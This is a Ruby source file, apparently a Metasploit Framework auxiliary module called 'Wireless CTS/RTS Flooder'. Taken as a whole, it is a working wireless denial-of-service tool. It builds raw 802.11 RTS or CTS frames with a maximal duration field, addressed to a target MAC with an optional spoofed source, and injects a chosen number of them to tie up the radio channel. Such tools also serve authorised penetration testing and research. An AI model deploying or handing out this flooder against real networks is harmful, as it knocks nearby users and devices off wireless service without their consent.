metasploit-framework/modules/auxiliary/dos/wifi/cts_rts_flood.rb

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

  include Msf::Exploit::Lorcon2
  include Msf::Auxiliary::Dos

  def initialize(info ={})
    super(update_info(info,
      'Name'		=> 'Wireless CTS/RTS Flooder',
      'Description' 	=> %q{
          This module sends 802.11 CTS/RTS requests to a specific wireless peer,
        using the specified source address,
      },
      'Author'	=> [ 'Brad Antoniewicz' ],
      'License'	=> MSF_LICENSE
      ))

    register_options(
      [
        OptString.new('ADDR_DST',[true, "TARGET MAC (e.g 00:DE:AD:BE:EF:00)"]),
        OptString.new('ADDR_SRC',[false, "Source MAC (not needed for CTS)"]),
        OptString.new('TYPE',[true,"Type of Frame (RTS, CTS)",'RTS']),
        OptInt.new('NUM',[true, "Number of frames to send",100])
      ],self.class)
  end

  def run
    case datastore['TYPE'].upcase
      when 'RTS'
        if (!datastore['ADDR_SRC'])
          print_error("FAILED: RTS Flood selected but ADDR_SRC not set!")
          return
        end
        frame = create_rts()
      when 'CTS'

        frame = create_cts()
      else
        print_error("No TYPE selected!!")
        return
    end

    open_wifi
    print_status("Sending #{datastore['NUM']} #{datastore['TYPE'].upcase} frames.....")

    datastore['NUM'].to_i.times do
      wifi.write(frame)
    end

  end
  def create_rts

    frame =
      "\xb4" +			# Type/SubType
      "\x00" +			# Flags
      "\xff\x7f" +			# Duration
      eton(datastore['ADDR_DST']) +	# dst addr
      eton(datastore['ADDR_SRC'])	# src addr

    return frame
  end
  def create_cts

    frame =
      "\xc4" +			# Type/SubType
      "\x00" +			# Flags
      "\xff\x7f" +			# Duration
      eton(datastore['ADDR_DST'])	# dst addr

    return frame
  end
end